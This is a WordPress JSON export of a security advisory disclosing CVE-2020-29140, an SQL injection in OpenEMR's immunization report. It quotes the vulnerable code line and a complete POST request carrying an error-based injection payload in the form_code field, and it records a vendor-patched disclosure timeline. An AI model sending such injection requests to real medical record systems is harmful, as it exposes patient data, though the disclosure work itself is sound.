{"id":86,"date":"2021-02-15T01:48:03","date_gmt":"2021-02-14T19:48:03","guid":{"rendered":"https:\/\/murat.one\/?p=86"},"modified":"2021-02-15T02:28:40","modified_gmt":"2021-02-14T20:28:40","slug":"cve-2020-29140-sql-injection-vulnerability-in-interface-reports-immunization_report-php-in-openemr-6-0-0-dev-5-0-25","status":"publish","type":"post","link":"https:\/\/murat.one\/?p=86","title":{"rendered":"CVE-2020-29140. SQL injection vulnerability in OpenEMR 6.0.0-dev, 5.0.2(5)"},"content":{"rendered":"\n<p><strong>Product:<\/strong> OpenEMR 6.0.0-dev, OpenEMR 5.0.2(5)<\/p>\n\n\n\n<p><strong>Vulnerability:<\/strong> SQL injection<\/p>\n\n\n\n<p><strong>Discovered:<\/strong> Kutlymurat Mambetniyazov (@manfromkz)<\/p>\n\n\n\n<p><strong>Acknowledgements: <\/strong>NitroTeam.kz<\/p>\n\n\n\n<p><strong>Date:<\/strong> 11\/24\/2020<\/p>\n\n\n\n<p><strong>Description: <\/strong>Ineffective use of add_escape_custom() in interface\/reports\/immunization_report.php leads to SQL injection.<\/p>\n\n\n\n<p><strong>Requirements: <\/strong>the administrator account<\/p>\n\n\n\n<p><strong>Tested on: <\/strong>Windows 10, Apache 2.4, 10.3.22-MariaDB. PHP 7.1.33 for OpenEMR 5.0.2(5) and PHP 7.4 for OpenEMR 6.0.0-dev<\/p>\n\n\n\n<p><strong>Vulnerable code:<\/strong> interface\/reports\/immunization_report.php:129<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$query_codes .= add_escape_custom($codes) . \") and \";<\/code><\/pre>\n\n\n\n<p><strong>Steps to reproduce<\/strong>:<\/p>\n\n\n\n<p>Send the POST request (replace with your Host, valid csrf_token_form and OpenEMR cookie of administrator):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/interface\/reports\/immunization_report.php HTTP\/1.1\nHost: openemr60.kz\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 222\nOrigin: https:\/\/openemr60.kz\nConnection: close\nReferer: https:\/\/openemr60.kz\/interface\/reports\/immunization_report.php\nCookie: OpenEMR=FolYY6Y6%2CNwDDANwci5GfRdQXosr2ZkZ76e7PNHPJGTTc-eD; \n\ncsrf_token_form=639ee383724ab4de7bd56e47a454ea96cadeb6de&amp;form_refresh=true&amp;form_get_hl7=false&amp;form_code%5B%5D=25&amp;form_code%5B%5D=extractvalue(0x0a,concat(0x0a,(version())))&amp;form_from_date=2020-11-10&amp;form_to_date=2020-11-17<\/code><\/pre>\n\n\n\n<p>Screenshot for 6.0.0-dev:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"460\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-3-1024x460.png\" alt=\"\" class=\"wp-image-87\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-3-1024x460.png 1024w, https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-3-300x135.png 300w, https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-3-768x345.png 768w, https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-3.png 1388w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Screenshot for 5.0.2(5):<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"390\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-4-1024x390.png\" alt=\"\" class=\"wp-image-88\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-4-1024x390.png 1024w, https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-4-300x114.png 300w, https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-4-768x293.png 768w, https:\/\/murat.one\/wp-content\/uploads\/2021\/02\/image-20210215004946-4.png 1388w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Timeline of the vulnerability:<\/p>\n\n\n\n<p>11\/24\/2020 \u2013 vulnerability discover<br>11\/24\/2020 \u2013 notification to vendor<br>11\/25\/2020 \u2013 confirmation by vendor<br>11\/27\/2020 \u2013 reservation of CVE ID at MITRE<br>01\/07\/2021 \u2013 patch release<br>02\/15\/2021 \u2013 published<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ineffective use of add_escape_custom() in interface\/reports\/immunization_report.php leads to SQL injection in OpenEMR 6.0.0-dev, 5.0.2(5).<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10,14],"tags":[18,15,17,16],"_links":{"self":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/86"}],"collection":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=86"}],"version-history":[{"count":4,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/86\/revisions"}],"predecessor-version":[{"id":108,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/86\/revisions\/108"}],"wp:attachment":[{"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=86"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=86"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=86"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}